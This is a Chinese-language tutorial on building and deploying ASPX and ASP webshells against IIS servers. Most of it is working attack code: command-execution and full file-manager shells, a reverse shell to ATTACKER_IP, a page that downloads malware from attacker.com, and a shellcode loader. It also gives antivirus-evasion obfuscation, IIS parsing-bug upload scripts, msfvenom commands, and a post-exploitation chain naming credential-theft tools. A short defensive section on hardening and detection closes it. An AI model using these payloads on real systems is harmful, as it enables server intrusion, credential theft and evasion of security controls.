一、ASP.NET 与 ASP 基础
ASP.NET(ASPX)和传统 ASP(.asp)是 Windows IIS 服务器上最常见的两种 Web 技术。它们都支持动态执行服务器端代码,这也是 WebShell 能够工作的基础。
1.1 技术栈差异
| 特性 | ASP.NET (.aspx) | 传统 ASP (.asp) |
|---|---|---|
| 语言 | C# / VB.NET | VBScript / JScript |
| 运行时 | .NET Framework / .NET Core | ASP.dll (COM) |
| 引擎 | IIS + aspnet_wp.exe | IIS + asp.dll |
| 线程模型 | 多线程 + 线程池 | STA 单线程 |
| 支持 .NET | ✅ 完整 | ❌ 不支持 |
| 支持 P/Invoke | ✅ 是 | ❌ 否 |
1.2 危险执行原语
ASPX 和 ASP 都有执行任意代码的能力:
<%-- ASPX 内联代码块 --%>
<%= System.Diagnostics.Process.Start("cmd.exe", "/c whoami") %>
<%-- ASP.NET 代码声明块 --%>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
// 任意 .NET 代码
}
</script>
<%-- ASP CodeBehind 预编译类 --%>
<@ Page Inherits="MyEvilPage" %>
二、ASPX 一句话木马(C#)
2.1 基础版:直接命令执行
<%-- basic-cmd.aspx --%>
<%
string cmd = Request["cmd"] ?? "whoami";
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
p.WaitForExit();
%>
使用方法:
GET /basic-cmd.aspx?cmd=whoami
GET /basic-cmd.aspx?cmd=dir C:\
GET /basic-cmd.aspx?cmd=net user
GET /basic-cmd.aspx?cmd=type C:\Windows\win.ini
2.2 菜刀/蚁剑连接版
<%-- chopper-cmd.aspx - 标准菜刀 C# 一句话 --%>
<%@ Page Language="c#" %>
<%
// 菜刀连接密码: cmd
// POST 数据格式: cmd=eval/assert/base64_decode...
string a = Request["cmd"];
System.Reflection.MethodInfo b = typeof(System.Diagnostics.Process).GetMethod("Start", new Type[] { typeof(string), typeof(string) });
object c = System.Diagnostics.Process.Start("cmd.exe", "/c " + a);
System.IO.StreamReader d = new System.IO.StreamReader(((System.Diagnostics.Process)c).StandardOutput.BaseStream);
Response.Write(d.ReadToEnd());
%>
2.3 完整版:支持 eval + 文件操作
<%-- full-shell.aspx - 多功能 WebShell --%>
<%@ Page Language="c#" validateRequest="false" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
// 加密密钥(需要与菜刀客户端配置一致)
string PWD = "cmd";
void Page_Load(object sender, EventArgs e) {
string action = Request["action"] ?? "exec";
string param = Request[PWD] ?? "";
switch (action) {
case "exec": ExecCommand(param); break;
case "read": ReadFile(param); break;
case "write": WriteFile(param, Request["content"]); break;
case "list": ListDir(param); break;
case "delete": DeleteFile(param); break;
case "upload": UploadFile(); break;
case "download": DownloadFile(param); break;
case "eval": EvalCode(param); break;
case "info": ShowInfo(); break;
case "sql": ExecSQL(param); break;
default: Response.Write("Unknown action"); break;
}
}
// 1. 命令执行
void ExecCommand(string cmd) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
Response.ContentType = "text/plain";
Response.Write(output + error);
}
// 2. 文件读取
void ReadFile(string path) {
Response.ContentType = "text/plain";
Response.Write(File.ReadAllText(path));
}
// 3. 文件写入
void WriteFile(string path, string content) {
File.WriteAllText(path, content);
Response.Write("OK");
}
// 4. 目录列表
void ListDir(string path) {
string[] files = Directory.GetFiles(path);
string[] dirs = Directory.GetDirectories(path);
Response.ContentType = "text/plain";
foreach (string d in dirs) Response.WriteLine("[DIR] " + d);
foreach (string f in files) Response.WriteLine("[FILE] " + f);
}
// 5. 删除文件
void DeleteFile(string path) {
if (File.Exists(path)) {
File.Delete(path);
Response.Write("File deleted");
} else if (Directory.Exists(path)) {
Directory.Delete(path, true);
Response.Write("Dir deleted");
}
}
// 6. eval 动态执行
void EvalCode(string code) {
// 使用 CSharpCodeProvider 动态编译执行
Microsoft.CSharp.CSharpCodeProvider provider = new Microsoft.CSharp.CSharpCodeProvider();
System.CodeDom.Compiler.CompilerParameters params = new System.CodeDom.Compiler.CompilerParameters();
params.GenerateExecutable = false;
params.GenerateInMemory = true;
params.ReferencedAssemblies.Add("System.dll");
params.ReferencedAssemblies.Add("System.Web.dll");
string src = "using System;using System.Web;" +
"public class Evil { public static object Run() {" + code + ";} }";
System.CodeDom.Compiler.CompilerResults results = provider.CompileAssemblyFromSource(params, src);
if (results.Errors.Count > 0) {
Response.Write("Compile Error: " + results.Errors[0].ErrorText);
} else {
object result = results.CompiledAssembly.GetType("Evil").GetMethod("Run").Invoke(null, null);
Response.Write(result?.ToString() ?? "null");
}
}
// 7. 系统信息
void ShowInfo() {
Response.ContentType = "text/plain";
Response.Write("OS: " + Environment.OSVersion + "
");
Response.Write("CLR: " + Environment.Version + "
");
Response.Write("Machine: " + Environment.MachineName + "
");
Response.Write("User: " + Environment.UserName + "
");
Response.Write("CPU: " + Environment.ProcessorCount + "
");
Response.Write("Aspx: " + DateTime.Now + "
");
}
// 8. 数据库执行(SQL Server)
void ExecSQL(string sql) {
string connStr = "Server=localhost;Database=master;Integrated Security=True;";
using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(connStr)) {
conn.Open();
System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sql, conn);
Response.ContentType = "text/plain";
Response.Write(cmd.ExecuteScalar()?.ToString() ?? "done");
}
}
</script>
2.4 反弹 Shell Payload(ASPX)
<%-- reverse-shell.aspx --%>
<%@ Page Language="c#" %>
<%
// 监听端: nc -lvnp 4444
// 或: metasploit multi/handler -p windows/x64/shell_reverse_tcp
string ip = Request["ip"] ?? "ATTACKER_IP";
int port = int.Parse(Request["port"] ?? "4444");
System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(ip, port);
System.Net.Sockets.NetworkStream stream = client.GetStream();
// 启动 cmd.exe 并绑定 socket
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
// 异步转发 stdin/stdout/stderr
var t1 = Task.Run(() => {
byte[] buf = new byte[4096];
while (true) {
int n = stream.Read(buf, 0, buf.Length);
if (n == 0) break;
p.StandardInput.BaseStream.Write(buf, 0, n);
}
});
var t2 = Task.Run(() => {
byte[] buf = new byte[4096];
while (true) {
int n = p.StandardOutput.BaseStream.Read(buf, 0, buf.Length);
if (n == 0) break;
stream.Write(buf, 0, n);
}
});
Task.WaitAll(t1, t2);
p.WaitForExit();
client.Close();
%>
<%-- Metasploit Payload (msfvenom) --%>
<%-- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx --%>
2.5 P/Invoke 调用 Native DLL
<%-- pinvoke-shell.aspx --%>
<%@ Page Language="c#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
// P/Invoke 调用 Win32 API
[DllImport("kernel32.dll")]
static extern IntPtr WinExec(string lpCmdLine, int uCmdShow);
[DllImport("user32.dll")]
static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
void Page_Load(object sender, EventArgs e) {
// 方式 1: WinExec
string cmd = Request["cmd"] ?? "calc.exe";
WinExec("cmd.exe /c " + cmd, 1);
// 方式 2: MessageBox(弹窗测试权限)
MessageBox(IntPtr.Zero, "Pwned!", "Alert", 0);
// 方式 3: 调用 URLDownloadToFile 下载文件
string url = Request["url"] ?? "http://attacker.com/malware.exe";
string path = Request["path"] ?? "C:\Windows\Temp\m.exe";
URLDownloadToFile(IntPtr.Zero, url, path, 0, IntPtr.Zero);
}
[DllImport("urlmon.dll")]
static extern int URLDownloadToFile(IntPtr pCaller, string szURL, string szFileName, int dwReserved, IntPtr lpfnCB);
</script>
三、ASP(VBScript)一句话木马
3.1 基础版
<%-- basic-asp.asp --%>
<%
Dim cmd
cmd = Request("cmd")
If cmd = "" Then cmd = "whoami"
' WScript.Shell 执行命令
Set ws = Server.CreateObject("WScript.Shell")
Set out = ws.Exec("cmd.exe /c " & cmd)
' 读取输出
Response.Write "<pre>"
Response.Write out.StdOut.ReadAll()
Response.Write out.StdErr.ReadAll()
Response.Write "</pre>"
%>
3.2 菜刀/蚁剑连接版(ASP)
<%-- chopper-asp.asp --%>
<%
' 密码: cmd
' 使用 Execute 动态执行代码
Dim code
code = Request("cmd")
' 方式1: Execute 执行 VBScript
Execute(code)
' 方式2: Eval 求值
' Eval("MsgBox ""pwned""")
%>
使用方法:
# 发送 VBScript 代码执行
POST /chopper-asp.asp
cmd=Response.Write("hello")
# 执行命令
cmd=Set ws=Server.CreateObject("WScript.Shell")
Set o=ws.Exec("cmd /c whoami")
Response.Write(o.StdOut.ReadAll())
3.3 完整版 ASP WebShell
<%-- full-asp.asp --%>
<%
Option Explicit
Dim action, param, pwd
pwd = "cmd"
action = Request("action")
param = Request(pwd)
Select Case action
Case "exec"
ExecCmd param
Case "read"
ReadFile param
Case "write"
WriteFile param, Request("content")
Case "list"
ListDir param
Case "del"
DeleteItem param
Case "info"
ShowInfo()
Case "upload"
UploadFile()
Case Else
ExecCmd param
End Select
Sub ExecCmd(cmd)
Dim ws, execObj
Set ws = Server.CreateObject("WScript.Shell")
Set execObj = ws.Exec("cmd.exe /c " & cmd)
Response.ContentType = "text/plain"
Response.Write execObj.StdOut.ReadAll()
Response.Write execObj.StdErr.ReadAll()
End Sub
Sub ReadFile(path)
Dim fso, file
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(path)
Response.ContentType = "text/plain"
Response.Write file.ReadAll()
file.Close
End Sub
Sub WriteFile(path, content)
Dim fso, file
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set file = fso.CreateTextFile(path, True)
file.Write content
file.Close
Response.Write "OK"
End Sub
Sub ListDir(path)
Dim fso, folder, file, subfolder
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetFolder(path)
Response.ContentType = "text/plain"
For Each subfolder In folder.SubFolders
Response.Write "[DIR] " & subfolder.Path & vbCrLf
Next
For Each file In folder.Files
Response.Write "[FILE] " & file.Path & vbCrLf
Next
End Sub
Sub DeleteItem(path)
Dim fso
Set fso = Server.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(path) Then
fso.DeleteFile path
ElseIf fso.FolderExists(path) Then
fso.DeleteFolder path
End If
Response.Write "OK"
End Sub
Sub ShowInfo()
Response.ContentType = "text/plain"
Response.Write "Server: " & Request.ServerVariables("SERVER_SOFTWARE") & vbCrLf
Response.Write "OS: " & Request.ServerVariables("PROCESSOR_ARCHITECTURE") & vbCrLf
Response.Write "Path: " & Request.ServerVariables("PATH_INFO") & vbCrLf
End Sub
Sub UploadFile()
Dim upload
Set upload = Server.CreateObject("ADODB.Stream")
upload.Type = 1
upload.Open
upload.Write Request.BinaryRead(Request.TotalBytes)
upload.SaveToFile Request("savepath"), 2
Response.Write "Uploaded"
End Sub
%>
四、其他 .NET WebShell
4.1 .NET Core / .NET 5+
// .NET Core 需要预编译 dll,然后通过特定方式加载
// 或者用 .cshtml (Razor) 页面
@page
@model RazorShellModel
@{
var cmd = Request.Query["cmd"].ToString();
System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}
@functions {
public class RazorShellModel : PageModel {
public void OnGet() {
// 逻辑
}
}
}
4.2 预编译 DLL 利用
// 编译生成 evil.dll
csc /target:library /out:evil.dll evil.cs
// 通过 web.config 配置 httpHandler 加载
<configuration>
<system.web>
<httpHandlers>
<add verb="*" path="*.evil" type="EvilHandler, evil" />
</httpHandlers>
</system.web>
</configuration>
// EvilHandler 类实现 IHttpHandler
public class EvilHandler : IHttpHandler {
public void ProcessRequest(HttpContext ctx) {
string cmd = ctx.Request["cmd"];
System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}
public bool IsReusable => false;
}
4.3 JScript.NET 木马
<%@ Language="JScript" %>
<%
var cmd = Request.Query("cmd");
var p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>
五、IIS 解析漏洞
5.1 IIS 6.0 解析漏洞
IIS 6.0 解析规则:
1. 目录解析: /xx.asp/yyy.jpg
- 如果目录名包含 .asp,目录内所有文件都按 ASP 解析
- 构造: /uploads/shell.asp/image.jpg
- 需要: 创建 shell.asp 目录
2. 文件解析: xx.asp;.jpg
- IIS 6.0 遇到分号后面的内容会截断
- xx.asp;.jpg 被当作 xx.asp 执行
- xx.jpg 后面加 .asp 也会执行
POC 脚本:
import requests
target = "http://target.com/uploads"
# 方法 1: 目录解析漏洞
files = {
'file': open('shell.asp', 'rb'), # 内容: <%execute(request("cmd"))%>
}
data = {
'dir': 'shell.asp/' # 目录名带 .asp
}
r = requests.post(f"{target}/upload", files=files, data=data)
# 访问: http://target.com/uploads/shell.asp/shell.asp?cmd=...
# 方法 2: 分号解析漏洞
files = {'file': ('shell.asp;.jpg', open('shell.asp', 'rb'))}
requests.post(f"{target}/upload", files=files)
# 访问: http://target.com/uploads/shell.asp;.jpg?cmd=...
5.2 IIS 7.0/7.5 解析漏洞
IIS 7.x + Nginx 环境:
Nginx 优先解析后缀,转发到 IIS
上传: shell.jpg 内容: <?php @eval($_POST[c]);?>
# 利用 PATH_INFO 漏洞
http://target.com/upload/shell.jpg/index.php
# Nginx 认为路径是 /upload/shell.jpg/index.php
# 转发给 PHP 解释器
# PHP 取后缀 .php 当作代码执行
# 类似:
http://target.com/upload/shell.jpg/.php
http://target.com/upload/shell.jpg%00.php
# CGI 模式下:
http://target.com/upload/shell.jpg?PHPSESSID=1%20-cmd
http://target.com/upload/shell.jpg%0d%0a.php
5.3 IIS 8.0+ 绕过
IIS 8.0+ 修复了大部分解析漏洞,但仍有一些绕过:
1. 双后缀: shell.jpg.php -> PHP 执行
2. 配置错误: handler 映射不当
3. ThinkPHP 5.x 路径穿越到 .php 文件
# 检查 IIS handler 映射
%WINDIR%System32inetsrvconfigapplicationHost.config
# 找到 <handlers> 部分,看哪些扩展名映射到 aspnet_isapi.dll
# 如果存在 .cer -> aspnet_isapi.dll
# 可以上传 shell.cer 内容为 ASP.NET 代码
六、WebShell 免杀技术
6.1 代码混淆
<%-- 混淆示例 --%>
<%@ Page Language="c#" %>
<%
// 拆分数组 + 动态调用
string[] a = {"cmd.exe", "/c", "whoami"};
System.Diagnostics.Process.Start(a[0], a[1] + " " + a[2]);
// 使用 Type.GetType 动态加载
Type t = Type.GetType("System.Diagnostics.Process, System");
MethodInfo m = t.GetMethod("Start", new Type[]{typeof(string), typeof(string)});
m.Invoke(null, new object[]{"cmd.exe", "/c whoami"});
// 反射混淆关键字
string procName = new string(new char[]{'p','r','o','c','e','s','s'});
Assembly.Load("System").GetType("System.Diagnostics.Process").GetMethod("Start");
// Unicode 转义
system // "system"
// Base64 解码
string b64 = "Y21kLmV4ZSAvYyB3aG9hbWk=";
System.Diagnostics.Process.Start(
System.Text.Encoding.UTF8.GetString(
System.Convert.FromBase64String(b64)
)
);
%>
6.2 内存执行(不落盘)
<%-- 内存加载 DLL / Shellcode --%>
<%@ Page Language="c#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
// VirtualAlloc + CreateThread 执行 Shellcode
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
void Page_Load(object sender, EventArgs e) {
// msfvenom -p windows/x64/exec CMD=whoami -f raw > shellcode.bin
byte[] shellcode = { 0xFC, 0x48, 0x83, ... }; // 你的 shellcode
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
0x1000 | 0x2000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr threadId;
IntPtr thread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
WaitForSingleObject(thread, 0xFFFFFFFF);
}
</script>
6.3 动态编译绕过
<%-- Roslyn 动态编译执行代码 --%>
<%@ Page Language="c#" %>
<%@ Import Namespace="Microsoft.CodeAnalysis" %>
<%@ Import Namespace="Microsoft.CodeAnalysis.CSharp" %>
<%@ Import Namespace="System.Reflection" %>
<%
string code = Request["code"];
var syntaxTree = CSharpSyntaxTree.ParseText(
"using System;" +
"public class DynamicCode {" +
" public static void Execute() {" + code + ";}" +
"}"
);
var references = new[] {
MetadataReference.CreateFromFile(typeof(object).Assembly.Location)
};
var compilation = CSharpCompilation.Create(
"EvilAssembly",
new[] { syntaxTree },
references,
new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary)
);
using (var ms = new System.IO.MemoryStream()) {
var emitResult = compilation.Emit(ms);
if (emitResult.Success) {
ms.Position = 0;
var asm = Assembly.Load(ms.ToArray());
var type = asm.GetType("DynamicCode");
var method = type.GetMethod("Execute", BindingFlags.Public | BindingFlags.Static);
method.Invoke(null, null);
Response.Write("Executed");
} else {
Response.Write("Compile error");
}
}
%>
七、实战流程
7.1 完整攻击链
1. 信息收集
- 识别 IIS 版本: Server: Microsoft-IIS/6.0 / 7.5 / 10.0
- 识别 ASP.NET 版本: X-Powered-By: ASP.NET
- 寻找上传点: 头像上传、文件导入、CMS 编辑器
2. 尝试上传 WebShell
- 直接上传 .aspx -> 可能被过滤
- 尝试双后缀: shell.jpg.aspx
- 尝试解析漏洞: shell.asp;.jpg (IIS 6.0)
- 尝试目录解析: 创建 uploads/shell.asp/ 目录后上传
3. 连接 WebShell
- 浏览器直接访问基础版
- 菜刀 / 蚁剑连接(需要正确配置密码和类型)
- 密码可以用 base64 / AES 加密传输
4. 权限提升
- WebShell 默认权限: IIS_IUSRS / Network Service
- 寻找提权漏洞: Windows 内核漏洞、未授权服务、AlwaysInstallElevated
- 下载 PowerView / Sherlock 脚本枚举
5. 横向移动
- 收集凭证: Mimikatz、LaZagne、浏览器密码
- 扫描内网: for /L %i in (1,1,254) do @ping -n 1 -w 100 192.168.1.%i | find "TTL"
- PsExec / WMI 执行命令
7.2 msfvenom 生成 Payload
# 生成 ASPX Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f aspx -o meterpreter.aspx
# 生成反向 shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.bin
# 生成 EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o meterpreter.exe
# 监听
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
run
八、防御方案
8.1 IIS 加固
# 1. 禁用不必要的扩展名
# IIS Manager -> HTTP Handler Mappings
# 移除 .cer, .cdx, .asa, .asmx 等不常用的映射
# 2. 设置请求过滤拒绝危险扩展名
# web.config 配置:
<system.webServer>
<security>
<requestFiltering>
<fileExtensions allowUnlisted="false">
<clear />
<add fileExtension=".aspx" allowed="true" />
<add fileExtension=".js" allowed="true" />
<add fileExtension=".css" allowed="true" />
<add fileExtension=".jpg" allowed="true" />
<add fileExtension=".png" allowed="true" />
<!-- 仅开放必要扩展名 -->
</fileExtensions>
<requestLimits maxAllowedContentLength="30000000" />
</requestFiltering>
<httpErrors existingResponse="PassThrough" />
</security>
</system.webServer>
# 3. 禁用目录浏览
# IIS Manager -> Directory Browsing -> Disable
# 4. 上传目录禁止执行
# 在上传目录添加 web.config:
<system.webServer>
<handlers>
<remove name="All" />
<add name="StaticOnly" path="*" verb="*"
modules="StaticFileModule"
resourceType="File" requireAccess="Read" />
</handlers>
</system.webServer>
8.2 ASP.NET 安全配置
<!-- 禁用调试模式 -->
<compilation debug="false" />
<!-- 关闭请求验证(但这不是安全措施!) -->
<!-- 应改为使用白名单验证 -->
<!-- 配置 allowOverride="false" 防止子目录覆盖 -->
<system.web>
<customErrors mode="On" defaultRedirect="Error.aspx" />
<compilation debug="false" strict="false" explicit="true" />
<httpRuntime enableVersionHeader="false" />
</system.web>
<!-- 移除版本头 -->
<system.webServer>
<httpProtocol>
<customHeaders>
<remove name="X-Powered-By" />
</customHeaders>
</httpProtocol>
</system.webServer>
8.3 WAF / 杀毒软件规则
常见 WAF 规则特征:
1. 文件签名:
- 检查 <%eval/<%execute/Server.CreateObject("WScript.Shell")
- 检查 Process.Start/win32_exec/WMI 调用
2. 请求参数:
- 检测 cmd=/c /e: /k 等命令执行特征
- 检测 base64 解码 + eval/execute 组合
3. 行为检测:
- 监控可疑进程创建 (cmd.exe/powershell.exe)
- 监控网络连接 (非白名单 IP)
- 监控文件写入 (webroot 目录下新文件)
# 微软 Defender for Endpoint / EDR
# 检测: ASRX -> 基于规则检测常见 WebShell 签名
# 勒索防护: 阻止对关键文件的异常加密行为
九、总结
ASPX/ASP WebShell 开发要点:
- ASPX 核心:Process.Start() 执行命令,支持 .NET 完整功能
- ASP 核心:WScript.Shell + Execute 动态代码
- 免杀:反射、动态编译、Unicode 编码、内存执行
- 利用链:上传点 → 解析漏洞 → WebShell → 权限提升 → 横向移动
- 防御:严格扩展名白名单、上传目录禁止执行、移除危险 Handler 映射